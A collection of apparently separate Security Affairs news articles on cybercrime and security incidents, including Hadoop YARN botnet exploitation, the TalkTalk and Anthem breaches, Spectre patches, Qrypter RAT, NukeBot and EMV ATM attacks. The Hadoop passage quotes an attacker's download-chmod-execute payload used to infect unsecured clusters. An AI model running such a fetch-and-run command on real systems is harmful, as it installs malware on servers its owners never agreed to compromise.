had telnet or rlogin enabled without password checks.”, However, as 20k explains “FICORA contains telnet, ssh and hadoop servers.” For telnet they “used dictionary style brute-force, same as ssh, hadoop pulled the biggest amount of packets.” 20k added that it was a Remote Code Execution bug that allowed him to execute x86 binary in Hadoop’s directory /tmp., So the payload was basically cd /tmp; wget chmod 777 x86; ./x86 hadoop.x86, Perhaps most importantly, as 20k even explains in the release of the exploit “we already bricked this exploit so good luck on pulling them.” For Hadoop developers this is particularly troubling. According to Mr. Loughran, all Apache can do for this problem is “issue advisories for clusters to turn on Kerberos.” Adding that “For this particular cluster, turning off the YARN API may break things, but if the malware depends on its existence (and known HTTP port), reset this property in yarn-site.xml to its default value, false.”, , “That may temporarily slow it down —albeit at the risk of breaking apps which depend on it— but if the malware can issue Hadoop RPC calls to YARN it can still submit work, or, as the HDFS filesystem will be equally unprotected, come in via the FS.”, Based on the script, Loughran notes that the exploit “isn’t a remote code execution bug, it is a remote job submission.” As of today, 10/31/2018, Apache is actively trying to figure “if there’s some actual exploit of the Hadoop REST APIs even when security is enabled, or whether this is a case of a Hadoop cluster without security turned on is running somebody else’s code.” No known patch for the exploit is known to exist, and even as Mr. Loughran even admits, considering that the exploit utilizes ssh ports to run Brute-Force Dictionary Attacks running on foundational Linux servers, the fix is potentially “out of our scope.”, With that said, however, developers at Hadoop claim that the exploit listed above is “not a zero-day exploit.” More likely, they say, it is “an attack which schedules work on unsecured Hadoop clusters visible on the network. ” With that said, however, even Loughran can’t figure out how the code exactly works or compromises devices, saying “it may be that there is a real vulnerability in systems with Kerberos enabled. if that turns out to be the case, yes, that’s a 0-day.”, The fix for now he says? “turn security on, don’t make your systems visible on the internet. indeed, keep in a private subnet with restricted access, if at all possible.”, About the Author:, Brian Dunn is a writer & researcher formally working as a content specialist for AnonHQ throughout 2015-2016. Today Brian Dunn owns and operates Rogue Security Labs, a small-time online security service and Rogue Media Labs, a news/media startup attempting to change the way people read & consume cyber news/education., Pierluigi Paganini, (Security Affairs – Hadoop, hacking)

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Cybercrime is becoming very attractive for ordinary crime, high earnings, limited risks than other criminal activities and poor perception of crime are among the elements that are facilitating the rapid spread of this type of illegal practice., In September 2014, the Europol released a report that warned traditional gangs are increasingly turning to cybercrime for the above reasons., Home Office ministers recently released data related to conviction under the Computer Misuse Act, which shows an average of one conviction under the Act every month for the past 23 years., The data reveals that despite more that 100,000 crimes being committed every year, just one cyber criminal a month is being brought to justice., “One computer hacker a month convicted of cyber crime out of 100,000 incidents a year” reports the British Mirror., Recently the joint effort of law enforcement has his cyber criminals syndicates and black markets, but according security experts in UK the police are failing to tackle the rise in cybercrime in the country., “People used to bust into a branch of a bank with a sawn off shotgun, getting on average £30,000 every time. Now they can sit in another country, buy someone’s services to break into bank accounts online and get a hundred times more money without putting themselves directly at risk,” Professor Alan Woodward, one of the authors of the report, told Mirror.co.uk., Personal data theft and online stalking and just a few sample of most profitable activities for criminal crews in UK., The Mirror UK reveals that the Home Office ministers were forced to divulge the information last month, campaigners from the Digital Trust, an organization that supports victims of online abuse, confirm the drama behind this data., According to the crime experts, the police still focuses on offline crimes, meanwhile criminal organizations are investing in online activities., “The police still concentrate their resources on traditional offences offline, when most people are more likely to be mugged online than in the street.” explained Harry Fletcher, director of the Digital Trust. “The law needs to change. It should, for example, be an offence to use any technological device to locate, listen to or watch a person without legitimate purpose.”, “In addition, restrictions should be placed on the sale of spyware without lawful reasons. It should also be against the law to install a webcam or any other form or surveillance device without the target’s knowledge.”, To give you an idea of the economic impact of the cybercrime on the UK let’s consider the data published by The National Fraud Intelligence Bureau. The Bureau reported more than £670m losses caused by ten most common online frauds between 1 September 2013 and 31 August 2014., , According to the FBI, cybercrime is now more lucrative than drug trafficking worldwide, and the growing trend is really worrying., This is just the tip of the iceberg, the majority of online crimes isn’t reported to the Justice and the British Government does not know exactly the amount related to loss to both business and ordinary people., “But between 1990 to 2006 only 183 defendants were proceeded against and 134 found guilty under the Computer Misuse Act. Over this period there were five years when there were no prosecutions, and a further ten with fewer than 20.”, A parliamentary answer to Elfyn Llwyd MP reported there were 156 prosecutions with 128 leading to a finding of guilt from 2007 to 2013, with an average of only 1.5 per month., Pierluigi Paganini, (Security Affairs –  cybercrime,  UK)

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In the last months, many readers contacted me for a newsletter so I decided to launch the service that will be start tomorrow. Subscribing the newsletter, you will receive every week a list of the most interesting articles in the cyber security landscape. The newsletter includes the links from the most important sources in the cyber security field with the intent to give you a complete overview in the cyber arena on a weekly basis., We are a growing community, that’s why I’m asking your support. Recently I have opened to the opportunity to contribute to SecurityAffairs (if you are interested send me an email to Pierluigi Paganini : [email protected]) and I’m starting other projects that will involve you., In the incoming weeks, I’ll start on monthly bases open researches and everyone could contribute … because security is a shared responsibility., Hurry up, subscribe to the newsletter, tomorrow I’ll send you the first email., Email address: , ,  , , Once again thank you!, Pierluigi Paganini, (Security Affairs – Newsletter, SecurityAffairs)

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Intel is releasing new firmware updates limited to Skylake processors to address Spectre vulnerabilities, patches for other platforms are expected very soon., The Spectre attack allows user-mode applications to extract information from other processes running on the same system. It can also be exploited to extract information from its own process via code, for example, a malicious JavaScript can be used to extract login cookies for other sites from the browser’s memory., The Spectre attack breaks the isolation between different applications, allowing to leak information from the kernel to user programs, as well as from virtualization hypervisors to guest systems., The company provided beta releases for the updates to apply to other processors to customers and partners to conduct extensive tests before the final release., We all know the disconcerting story about the security patches released by Intel, on January 3, white hackers from Google Project Zero have disclosed some vulnerabilities in Intel chips called Meltdown (CVE-2017-5754) and Spectre (CVE-2017-5753 and CVE-2017-5715), Intel promptly released security patches but in many cases they caused problems to systems., Many companies rolled out patches to revert the Intel updates, including Red Hat and Microsoft., Now Intel seems to have a more clear idea about the cause of the problems observed after the deploy of the initial updates and release new microcode updates., “For those concerned about system stability while we finalize the updated solutions, we are also working with our OEM partners on the option to utilize a previous version of microcode that does not display these issues, but removes the Variant 2 (Spectre) mitigations. This would be delivered via a BIOS update, and would not impact mitigations for Variant 1 (Spectre) and Variant 3 (Meltdown). ” states the microcode revision guidance issued by Intel., , Problems such as frequent reboots were related to the fix for the CVE-2017-5715 Spectre flaw (Spectre Variant 2) and affected almost any platform, including systems running on Broadwell Haswell CPUs, as well as Ivy Bridge-, Sandy Bridge-, Skylake-, and Kaby Lake-based platforms., While many users have chosen to don’t install the patches to avoid problems, security firms are reporting the first PoC malware that exploits the Meltdown and Spectre vulnerabilities., On January 17, experts at AV-TEST reported that they had detected 77 malware samples apparently related to the Intel vulnerabilities., Pierluigi Paganini, (Security Affairs – Intel, CVE-2017-5715)

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The UK Metropolitan Police has announced the arrest of a 15-Year-Old in connection to the recent data breach suffered by the British ISP TalkTalk. Law enforcement from the Police Service of Northern Ireland (PSNI) have identified the youngster and arrested him on suspicion of Computer Misuse Act offenses., In a statement, the UK Metropolitan Police announced that officers from the Police Service of Northern Ireland, working with detectives from the MPCCU (MET Cyber Crime Unit) executed a search warrant at an address in County Antrim, Northern Ireland., “At the address, a 15-year-old boy was arrested on suspicion of Computer Misuse Act offences. He has been taken into custody at a County Antrim police station where he will later be interviewed. A search of the address is ongoing and enquiries continue. This is a joint investigation by MPCCU detectives, the PSNI’s Cyber Crime Centre (CCC) and the National Crime Agency,” the statement added., Last Week, the TalkTalk Telecom Group plc has announced that four million customers were impacted by a “sustained cyberattack” that hit its servers, later TalkTalk CEO, Dido Harding, confirmed personally receiving a ransom demand following the data breach., Brian Krebs reported that sources close to the data breach told him the hackers demanded £80,000 (~$122,000) in Bitcoin to avoid the disclosure of other company’s customer records. Krebs also added that the security “Fearful and Glubz” had recently disclosed a vulnerability in a TalkTalk website., “On October 18, 2015, a person using the screen name “Fearful” and alias “Glubz” reported a vulnerability in the videos section of TalkTalk’s Web site (videos.talktalk.co.uk). The flaw was reported via xssposed.org, a site that operates as a sort of public clearinghouse for information about unpatched Web site vulnerabilities. Xssposed.org said it verified the flaw indeed existed in the TalkTalk videos page, but that no technical details were being disclosed to the public in order to give website owner time to patch the vulnerability without putting its users at risk.” states Brian Krebs “Interestingly, a Twitter user with the Twitter handle @Fearful has been posting about expecting a raid from the U.K. authorities at any minute. The Twitter profile links to the (possibly compromised) Web site elliottgdotnet, which currently redirects to a page with scrolling images of a blond-haired young man, the TalkTalk logo, and a U.K. policeman.”, Krebs also discovered a very reliable seller, known as “Courvoisier,” (“Level 6 Fraud and Drugs seller,”)  in the AlphaBay Tor black market offering TalkTalk data., ,  , At the same time, the cyber security consultant and former Scotland Yard detective Adrian Culley revealed that a Russian Islamist group claimed the responsibility of the attack. On Friday, the group leaked online a set of data, but it is still not clear yet if the dump includes all the stolen data., In the note the attackers disclosed online they explained that have used TOR, encrypted chat messages, private key emails and compromised servers to launch the attack remaining anonymous., On Saturday afternoon, TalkTalk confirmed that banking data stolen by the hackers were incomplete, the company explained that the data breach hasn’t compromised complete credit card details of the customers. The company also confirmed that user’s passwords have not been exposed during the cyber attack., “Any credit card details that may have been accessed had a series of numbers hidden and thereforeare not usable for financial transactions, eg ‘012345xxxxxx 6789It’,” states an official statement issued by the company., , The cyber security experts speculate the company was victim of most a classic SQL injection attack that may have exposed data in its database, including names, addresses, email addresses, phone numbers, account information, and truncated credit card numbers. The company confirmed that not all of the data was encrypted, in response to the attack it voluntarily brought the websites back down to advantage the investigation of the law enforcement., Concomitantly attack, the experts noticed one of the company website was hit by a denial-of-service attack, which may have been used as diversionary strategy. In the weekend, MotherBoard portal reported that a hacker purporting to represent the group LulzSec has claimed responsibility the DDoS attack that hit TalkTalk just before the threat actors breached its systems., A hacker who uses the pseudonym of AnonZor confirmed to Motherboard they and co-leader Dax managed the DDoS against TalkTalk, but he highlighted that they were not involved in the data breach., “The stolen data is not done by us, we only did a DDoS attack to show the world that #LulzSec has returned,” AnonZor said., Now the company hired BAE Systems to support the Scotland Yard’s investigation., Pierluigi Paganini, (Security Affairs – TalkTalk, data breach)

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The cyber security Analyst @Qcert Ebrahim Hegazy(@Zigoo0) has found a Password disclosure vulnerability in one of Barracuda update servers which allows the attackers to gain access to all its employee data., When the system administrator needs to protect a directory with a second authentication layer (basic authentication) besides the back-end authentication,  he can do it with multiple methods, one of that methods is through the configuration of  .htaccess and .htpasswd files. A proper configuration could  prevent a visitor to surf reserved area (e.g /Cpanel or /admin), in this scenario a popup  proposes to the user asking to enter authentication credentials, that credentials are saved inside .htpasswd file as:, Username:Password, In normal scenarios the .htpasswd file should be stored outside the web directory (e.g. C:\AnyName\.htpasswd) But in Barracuda issue the file was stored inside the admin panel directory and was accessible by anyone with serious repercussion., If the user directly accesses the following link, he will be able to disclose the passwords of all Barracuda Network Employees such as: Support, Sales, UK Branch employees, Update server users, Engineers and more of those who have access to the basic authentication layer!, The Password disclosure vulnerability is exacerbated by the fact that the passwords were saved as a clear text, following the screen shots before the vulnerability got patched, , , ,  , The vulnerability has been reported by Ebrahim Hegazy to Barracuda, that already fixed it, despite it is not eligible for the bounty. Curious that Barracuda considered “Password disclosure vulnerability” out of scope vulnerability, IMHO I consider it a critical flaw.  Ebrahim Hegazy ( has found and reported the vulnerability to Barracuda as a participant in the Barracuda bug bounty program., I consider Ebrahim Hegazy a very skilled professional that is doing an excellent job in security field, let’s remind that in the last months he already discovered flaws in DropBox, Avira web site and Yahoo! … What is the next?, What will happen is those smart guys will start to sell the knowledge of vulnerabilities in the underground?, Pierluigi Paganini, (Security Affairs – Password disclosure vulnerability, hacking), UPDATE 2013-07-27, Barracuda specified following inaccurancies:

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It’s not a mystery that many Android Smartphone comes with pre-installed applications, unfortunately some of them could hide an ugly surprise for the owner, a malware that can steal user’s data., In April the Chinese TV station, CCTV, reported some cases where the Android Smartphone were compromised by pre-installed malware before selling them on to unwitting customers. The Smartphone supply chain was compromised by a pre-installed malware called DataService, researchers at Kaspersky identified the pre-installed malware as Trojan.AndroidOS.Uupay.a, an insidious agent that interacts with other resident Android apps to steal mobile info, push ads and download the specific web content, including other apps from unofficial stores., The event seems to have repeated again, experts at the German security firm G Data discovered that a popular Chinese Android Smartphone comes with a pre-installed spyware that could be used to syphon users’ personal data and spy on the owner’s conversations, sending all the stolen information to an anonymous server located in China., “This makes it possible to retrieve personal data, intercept calls and online banking data, read emails and text messages or control the camera and microphone remotely. The affected model “N9500” is produced by the Chinese manufacturer Star and looks very similar to a smartphone from a well-known manufacturer.” from a well-known manufacturer. ” states G Data in a blog post published on its website., The affected model “N9500” is produced by the Chinese manufacturer Star and looks very similar to the Samsung Galaxy S4, it can be easily found on different online retailers such as eBay and Amazon for no more of 165 Euro., Star N9500 is very popular on the Chinese market, the spyware detected by the security firm is Uupay.D Trojan horse that tries to deceive victims masquerading itself as a version of the Google Play Store., , According the experts the cheap price of the mobile and the extensive accessories offered, are the element of attractive for users., Users have Install Mobile Antivirus on their device to detect this and other malware, be wary of Chinese products for which there is no guarantee of the security of the supply chain., Mobile users affected by the pre-installed malware have to return the device back to the seller., Pierluigi Paganini, (Security Affairs –  pre-installed malware, spyware)

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The health insurance provider Anthem has confirmed the data breach that caused the exposure of an unknown number of customer record. The nation’s second largest health insurance provider announced that hackers were able to compromise its systems accessing to an unknown number of records, including complete profiles for individuals., The Anthem President and CEO, Joseph R. Swedish has released an official statement to its customers:, “Safeguarding your personal, financial and medical information is one of our top priorities, and because of that, we have state-of-the-art information security systems to protect your data. However, despite our efforts, Anthem was the target of a very sophisticated external cyber attack. These attackers gained unauthorized access to Anthem’s IT system and have obtained personal information from our current and former members such as their names, birthdays, medical IDs/social security numbers, street addresses, email addresses and employment information, including income data. Based on what we know now, there is no evidence that credit card or medical information, such as claims, test results or diagnostic codes were targeted or compromised.” states the announcement, which refers to a very sophisticated external cyber attack., The Anthem CEO Swedish has confirmed that there is no reason to believe that also credit card data nor medical information have been exposed, don’t forget that medical data would include test results and diagnostic codes.CEO Swedish has confirmed that there is no reason to believe that also credit card data nor medical information have been exposed, don’t forget that medical data would include test results and diagnostic codes., The data breach impacted all Anthem product lines, including Anthem Blue Cross, Anthem Blue Cross and Blue Shield, Blue Cross and Blue Shield of Georgia, Empire Blue Cross and Blue Shield, Amerigroup, Caremore, Unicare, Healthlink, and DeCare., , The attackers also accessed employees personal information according to Swedish’s statement. In response to the cyber attack the company immediately informed the FBI and its customers to avoid further cyber attacks, it also hired Mandiant to support the investigation and sanitize the systems., “The FBI is aware of the Anthem intrusion and is investigating the matter,” said FBI spokesman Joshua Campbell. “Anthem’s initial response in promptly notifying the FBI after observing suspicious network activity is a model for other companies and organizations facing similar circumstances. Speed matters when notifying law enforcement of an intrusion, as cyber criminals can quickly destroy critical evidence needed to identify those responsible,” he said., Which is the extension of the data breach?, In this phase is it impossible to confirm the number of individuals impacted, but considering that Anthem is the US’s second biggest health insurer with about 70 million people, it is possible that victims are tens of millions., “With nearly 69 million people served by its affiliated companies including more than 37 million enrolled in its family of health plans, Anthem is one of the nation’s leading health benefits companies.” states the company profile., It is essential in this phase to understand the technique adopted by the threat actors to penetrate the Anthem systems and sanitize the compromised machine once the investigators have identified the alleged malicious agent., The company has announced that customers whose information was compromised will be contacted directly and offered free credit monitoring and identity protection services., “Anthem will individually notify current and former members whose information has been accessed. We will provide credit monitoring and identity protection services free of charge so that those who have been affected can have peace of mind. ” continues the announcement., As usually happens in these cases, journalists dig into the past of the company, they discovered that it’s not the first time that Anthem suffer a data breach. In 2010, before the name was changed to Anthem, WellPoint suffered a data breach that caused the exposure of data belonging to 612,402 customers, in that case the root cause was the lack of security updates for one of their systems., In 2013 WellPoint agreed to pay the U.S. Department of Health and Human Services (HHS) $1.7 million to settle potential violations of the Health Insurance Portability and Accountability Act of 1996 (HIPAA) Privacy and Security Rules., Pierluigi Paganini, (Security Affairs – Anthem, data breach)

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Regardless of the recent string of high-profile cyberattacks plaguing companies worldwide, the retail industry is still behind on cybersecurity standards, according to new reports published by Arbor Networks and the Ponemon Institute., Researchers disclosed it takes retailers on average, 197 days to identify if the company has been breached by a potential threat and took companies an additional 39 days to properly mitigate it. In addition, Arbor Networks released information on financial service organizations, reporting it took roughly 98 days to identify the breach and another 26 days to contain it., , According to the firm, retailers often identify breaches due to “a gut feeling.” Further research identified 23 percent of breached retailers used forensic evidence, 21 percent used attack signatures,, while 16 percent had used threat intelligence that had been shared by industry experts. Though a vast majority of retailers, some 38 percent, said they simply had a gut feeling. The same survey in the finance industry revealed 34% identify breaches based on forensic evidence, 23% signatures, 25% public/known threats, with a staggering 20% stated the same gut feeling., Reports also reveal retailers and finance industries spent roughly 22 percent of their security budget on “cyber kill chain activities,” where companies mitigate a threat before it occurs, ranging anywhere from nabbing the attackers first steps or just before their inevitable goal., Retailers and financial industry experts shared the same fear in securing information, noting their companies lacked confidence in their ability to identify threats. Only 58 percent of financial organizations said their security teams had been effective at identifying and eradicating advanced threats. Retailers scored a similar number, with just over half being effective while the other half said their team was not., “I think it’s one of the reasons you see them looking at more people-based” solutions, says Arabella Hallawell, vice president of corporate strategy at Arbor Networks., Security experts believe companies are veering away from previous signature-based threat models and are moving to hire industry experts with vast knowledge in cybersecurity, . Though industry experts are in short supply, retailers on average have around 11 employees responding to security alerts,  while financial organizations have roughly 19 employees’., As seen with recent breaches of massive retailers and financial organizations, it can take some companies, such as Target, only a few weeks to identify a security breach, where it could take numerous high-profile financial institutions over a year and a half to identify security breaches., Security breaches pose an extreme threat to any industry, but retail and financial organizations are used by millions and have the largest public target on their back. Reports indicate that reliable security solutions are in high demand as the complexity of cyber attacks evolve., About the Author Brandon Stosh, (Security Affairs –Arbor Networks, Retail)

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Splunk Enterprise solution allows organizations to aggregate, search, analyze, and visualize data from various sources that are critical to business operations., The Splunk Light is a comprehensive solution for small IT environments that automates log analysis and integrate server and network monitoring., “To mitigate these issues, Splunk recommends upgrading to the latest release and applying as many of the Hardening Standards from the Securing Splunk documentation as are relevant to your environment. Splunk Enterprise and Splunk Light releases are cumulative, meaning that future releases will contain fixes to these vulnerabilities, new features and other bug fixes,” reads the advisory published by Splunk., The most severe issue fixed by the company is a high severity cross-site scripting (XSS) flaw in the Web interface, tracked as CVE-2018-7427, that received the CVSS score of 8.1., Another severe vulnerability is a DoS flaw tracked as CVE-2018-7432 that could be exploited using malicious HTTP requests sent to Splunkd that is the system process that handles indexing, searching and forwarding. This issue was tracked as “medium severity” by the company., The company also addressed a denial-of-service (DoS) vulnerability, tracked as CVE-2018-7429, that could be exploited by an attacker by sending a specially crafted HTTP request to Splunkd., The last flaw addressed by the vendor, tracked as CVE-2018-7431, is a path traversal issue that allows an authenticated attacker to download arbitrary files from the vendor Django app. The vulnerability has been rated “medium severity.”, , Below the affected versions:, The vendor declared it has found no evidence that these vulnerabilities have been exploited in attacks in the wild., Pierluigi Paganini, (Security Affairs – XSS, hacking)

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A new strain of remote access Trojan dubbed Qrypter RAT (aka Qarallax, Quaverse, QRAT, and Qontroller) hit hundreds of organizations worldwide., The malware was spotted by security firm Forcepoint, it has been around for a couple of years, it was first analyzed in June 2016, after being used in an attack targeting individuals applying for a U.S. Visa in Switzerland., The author of Qrypter RAT is an underground group called ‘QUA R&D’ that operates a Malware-as-a-Service (MaaS) platform., Qrypter RAT is a Java-based RAT that leverages TOR-based command and control (C&C) servers (vvrhhhnaijyj6s2m.onion.top.). The malware is delivered via small malspam campaigns, in February the researchers observed three campaigns that hit 243 organizations., , “In June 2016 the malware was used to target individuals applying for a US Visa in Switzerland, resulting in the family’s first coverage in the security industry., Today, Qrypter continues to rise in prominence, typically being delivered via malicious email campaigns such as the one shown below.” reads the analysis published by Forcepoint.”, “While Qrypter is usually used in smaller attacks that deliver only a few hundred emails per campaign, it affects many organizations worldwide. In February 2018 we tracked three Qrypter-related campaigns that affected 243 organizations in total.”, Upon execution on the victim’s device, the Qrypter RAT drops and runs two VBS files in the %Temp% folder, both having a random filename. The scripts are used by the RAT to gather information on the firewall and anti-virus products installed on the victim’s machine., The malware gain persistence by using Windows registry, in this way it is executed every time the machine restarts., Qrypter is a modular malware, its main features are:, The Qrypter RAT is available for rent for a price of $80, users can pay it in PerfectMoney, Bitcoin-Cash, or Bitcoin. The authors offer a discount for three months or one-year subscriptions and provide support to their customers via a forum called ‘Black&White Guys’, which has over 2,300 registered members., “An older Bitcoin address that receives payment for Qrypter subscriptions was observed to have received a total of 1.69 BTC. This is roughly 16,500 USD at the time of writing (although given the volatility of Bitcoin, this is subject to rapid change).” continues the analysis., The authors are very active and continuously update their malware to make it undetectable to security software, for this reason, even “after nearly two years Qrypter remains largely undetected by anti-virus vendors.”, The business model of malware author is very effective, they use the forum also to offer discount codes and older RAT versions for free to customers, a strategy that allows them to increase their popularity in the criminal underground., “This post highlights the determination of QUA R&D to replace the infamous Adwind in the cross-platform MaaS business. With two years of operation and over 2K registered users in their forum, it appears that they are getting increasing traction in underground circles.”, “While the Qrypter MaaS is relatively cheap, QUA R&D’s occasional release of cracked competitor products may exponentially increase attacks in the wild by making potent crimeware accessible to anyone for free. However by understanding how cybercriminal enterprises such as QUA R&D operate, we are better positioned to develop defense strategies and predict future developments.” , Further info, including IoCs are available in the report., Pierluigi Paganini, (Security Affairs – Qrypter RAT, malware)

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The FBI is worried by rapid diffusion of the Internet of Things devices, according law enforcement smart objects could represent a serious threat for cyber security, and more in general for the society., Security experts are aware that Internet of Things could be abused cyber crooks for criminal activities and use principal vendors to adopt security by design in order to produce smart objects resilient to cyber attacks., The FBI’s public service announcement, published on September 10, highlights that Internet of Things poses opportunities for cyber crime as explained in the following statement from the Bureau., “As more businesses and homeowners use web-connected devices to enhance company efficiency or lifestyle conveniences, their connection to the Internet also increases the target space for malicious cyber actors. Similar to other computing devices, like computers or Smartphones, IoT devices also pose security risks to consumers. The FBI is warning companies and the general public to be aware of IoT vulnerabilities cybercriminals could exploit, and offers some tips on mitigating those cyber threats.” states the announcement., , The announcement has raised a heated discussion on the responsibility for the exploitation of such kind of devices, it seems that the FBI attributes the responsibility for the security of these devices on the consumer., “Consumers should be aware of the capabilities of the devices and appliances installed in their homes and businesses. If a device comes with a default password or an open Wi-Fi connection, consumers should change the password and only allow it operate on a home network with a secured Wi-Fi router” states the announcement., Recently we have discussed several flaws that could be exploited by attackers to conduct illegal activities. Crooks are able to exploit home routers, fridges and baby monitors to carry on illegal activities, crimes that could impact million of users worldwide. I wrote an interesting analysis, titled “How Hackers Violate Privacy and Security of the Smart Home” to explain how Internet of Things could be exploited to hack modern smart home., Smart objects could be hacked in different ways and for different reasons, they could be affected by vulnerabilities such as the “UPnP vulnerabilities” recently discovered, or they could be simply poorly configured (e.g. adoption of unchanged default passwords), Every Internet of Things devices is insecure if it is not properly deployed and configured, for this reason the FBI invites end-customers to get smart objects away from the Internet., “Isolate IoT devices on their own protected networks” states the announcement in the section dedicated to the Consumer Protection and Defense Recommendations., I personally consider very important the advisory issued by the FBI, but probably is is not so clear when dealing with attribution of responsibility. It is clear that we cannot pretend that every final customer becomes a Tech savvy, so we must improve the security by design making Internet of Things more reliable and resilient to cyber attacks., Let me close with the recommendations for the customer’s securtiy included in the announcement:, There is no time to waste, Internet of Things devices are already surrounding us, we must improve their security before hackers exploit them., Pierluigi Paganini, (Security Affairs – Internet of Things, cybercrime)

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A joint operation conducted by the Europol with police and cyber security firms worldwide aims to tackle the Ransomware threat. It has been estimated that the ransomware victims tripled in the first quarter of this year alone., The joint effort was announced by the Europol, the initiative was called ‘NO More Ransom,’ Kaspersky and Intel are the IT giants that participate in the initiative alongside with the Netherlands police., The “exponential” rise in Ransomware threat represents a serious problem for users online and it is a profitable business for cyber criminals. The operation NO More Ransom is the response of the Europol of the growing threat., “Today, the Dutch National Police, Europol, Intel Security andKaspersky Lab join forces to launch an initiative called No More Ransom, a new step in the cooperation between law enforcement and the private sector to fight ransomware together.” states the official announcement published by the European law enforcement Agency. ” No More Ransom (www.nomoreransom.org) is a new online portal aimed at informing the public about the dangers of ransomware and helping victims to recover their data without having to pay ransom to the cybercriminals.”, , The No More Initiative aims to spread more information about the ransomware threat and the risk of exposure, providing suggestions to avoid falling victim to this family of malware. The online portal includes a session that provides instruction to prevent a ransomware attack and give the users also to report a crime to the European Law Enforcement Agencies., “For a few years now ransomware has become a dominant concern for EU law enforcement. It is a problem affecting citizens and business alike, computers and mobile devices, with criminals developing more sophisticated techniques to cause the highest impact on the victim’s data.” declared the Europol’s deputy director Wil van Gemert. “Initiatives like the No More Ransom project shows that linking expertise and joining forces is the way to go in the successful fight against cybercrime. We expect to help many people to recover control over their files, while raising awareness and educating the population on how to maintain their devices clean from malware.”, Online users may access the No More Ransom portal to download freely available tools that may allow them to decrypt files locked by the ransomware. At the time I was writing the NoMoreRansom website includes the decryption tools for 4 popular threats, including CryptXXX, CoinVault and Bitcryptor ., The “Crytpo Sherrif” section was implemented to allow visitors to upload ransomware samples and a description to identify the type of ransomware., Below the list of suggestions published on the No More Ransom portal:, Of course, don’t pay the ransom!, Pierluigi Paganini, (Security Affairs –  cybercrime, Europol)

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When the EMV (Europay, MasterCard, and Visa) was introduced, the vast majority of security experts believed solved the problems caused by easy to clone magnetic stripe cards., EMV chip-equipped cards implement an extra layer of security which makes these cards secure than the magnetic stripe cards., In reality, also Chip-and-PIN cards are not so complicated to hack, this is what a group of researchers from Rapid7 demonstrated at the Black Hat USA 2016 conference. The group of experts have demonstrated how crooks can withdraw up to $50,000 in cash from an ATM in America in under 15 minutes., Simple modifications to equipment would allow attackers to bypass the Chip-and-PIN protections as explained in the paper published by the team and titled “Hacking Next-Gen ATMs: From Capture to Washout.”. The team of researchers was able to show the audience an ATM spitting out hundreds of dollars in cash., The presentation made by the researchers was spectacular, the hacker demonstrated the hack by forcing an ATM spit out hundreds of dollars in cash., In a first phase of the attack, fraudsters mount a small Shimmer to the ATM card reader in order to carry on a man-in-the-middle (MITM)., The shimmer is a skimming device for EMV cards, is a RaspBerry-Pi-powered device that could be installed outside of the ATM without access to the internals of the cash machine., The shimmer sits between the card chip and the card reader in the ATM, it is able to record the data on the chip, including the PIN, when the ATM reads it. In this phase, once captured the data, the device transmits it to the attackers. In the second half of the attack, fraudsters use a smartphone to received the stolen card data and recreate the victim’s card in an ATM to instructing the machine to eject cash., The data is remotely sent to another device, which researchers have dubbed “La-Cara.”, Equipment used for the hack (Source www.securityweek.com), La-Cara that could be assembled with $2,000 components is placed on an ATM machine, is emulates the presence of the EMV card inserted into the card slot. The data stolen by the shimmer are remotely sent to the La-Cara device which instruct the ATM to withdraw money from the card., “The modifications on the ATM are on the outside,” Tod Beardsley, a security research manager for Rapid7, told the BBC. , “I don’t have to open it up. It’s really just a card that is capable of impersonating a chip. It’s not cloning.”, “It’s really just a card that is capable of impersonating a chip,” Beardsley added. “It’s not cloning.”, The device is easy to install, crooks can mount it quickly outside of the ATM without access to the internals of the cash machine., Watch out, data used in the EMV to enable transactions are dynamic, this means that crooks can use them only for a very short period of time (e.g. up to one minute). This means that fraudsters have to complete the operations is a short time., Researchers from Rapid 7, have already reported the details about the hack to banks and major ATM manufacturers., Pierluigi Paganini, (Security Affairs –  EMV cards, hacking)

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The Trojan can also open a local proxy or hidden remote desktop service to allow crooks to initiate rogue transactions through the victims’ browsers after they have been tricked into providing the second authentication factor., , According to IBM, the creator of the malware has lost his credibility over the months and has been flagged as a scammer in the hacking community. The malware author did not offer a test version of the malware to potential buyers and advertised the Nuclear Bot using different names on different cybercrime forums., In order to gain credibility and notoriety in the cyber crime community the author of the malware decided on releasing the Trojan’s source code., The release of malicious code online represents an important milestone in the malware life cycle because give the opportunity to oder malware developers and crime organizations to customize and distribute their own version of the malware., The NukeBot Trojan appears as a powerful tool written from scratch and that was able in early stage attacks to avoid detection of antivirus solutions., “We know from previous incidents, such as the Zeus, Gozi and Carberp leaks, that publicly available source code makes for more malware. This is often incorporated into existing projects. X-Force researchers noted that NukeBot is likely to see the same process take place in the wild, especially since its code is not copied from other leaked malware, per the developer’s claims.” continues IBM., “At this time, NukeBot has not been detected in real-world attacks and does not have defined target lists.”, Security experts expect a growing number of players in cybercrime underground will start to offer the NukeBot Trojan through the consolidated model of sale known as malware-as-a-service., Pierluigi Paganini, (Security Affairs – NukeBot Banking Trojan, malware)

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Two researchers at Accuvant Labs, Mathew Solnik and Marc Blanchou, have recently discovered the existence of built-in vulnerabilities in a large number of mobile devices that would allow an attacker to gain complete control of the smartphone., The researchers also provided a few details on the attack scheme which is based on a rogue base station (femtocell) and needs that a mobile device its proximity, the security flaw is related to a device management tool carriers and manufacturers embed in the majority of mobile devices for remote assistance., Carriers use such kind of management tools to remotely configure the devices and send OTA (Over-The-Air) upgrades, each carrier and manufacturer has its own custom implementation of the software that usually integrates with custom functionalities. The custom tools could provide the attackers a complete control of the devices, including complete management of any function and application running on the mobile device. Any changes done with these management tools over-the-air don’t prompt the consumer., “The management tools are implemented using a core standard, developed by the Open Mobile Alliance, called OMA device management. From these guidelines, each carrier can choose a base set of features or request additional ones. Solnik says they found that some phones have features for remotely wiping the device or conducting a factory reset, altering operating system settings and even remotely changing the PIN for the screen lock.” reports a post published on Wired. , The management tool discovered by the researchers runs with the highest level of privileges on mobile devices, these privileges could be exploited by a bad actor to gain complete control of the handset., , The experts estimated that such management tools are present in more that 2 billion devices worldwide, according to first revelation the security issue is related to Android and BlackBerry devices and impacts just a reduced fraction of Apple iPhone Smartphone distributed by Sprint company. In time I’m writing, there are no news related the existence of such tools in Windows Mobile., Fortunately, there is no evidence that this vulnerability has been exploited since now by Intelligence neither cyber criminals., The researchers say that the company that designed the management tool has issued a fix for the problem and that carriers have to distribute it to their customers., Now the question is … is it so easy to compromise and misuse these management tools?, The exploitation for such management tools is a risky consequence of their deployment, of course carriers implement encryption and authentication to improve security of their access, but the researchers have discovered that protections are poorly implemented and exposes users to serious risks., Mathew Solnik and Marc Blanchou will present their findings next week at the Black Hat security conference in Las Vegas, meantime, let me suggest you to keep your devices 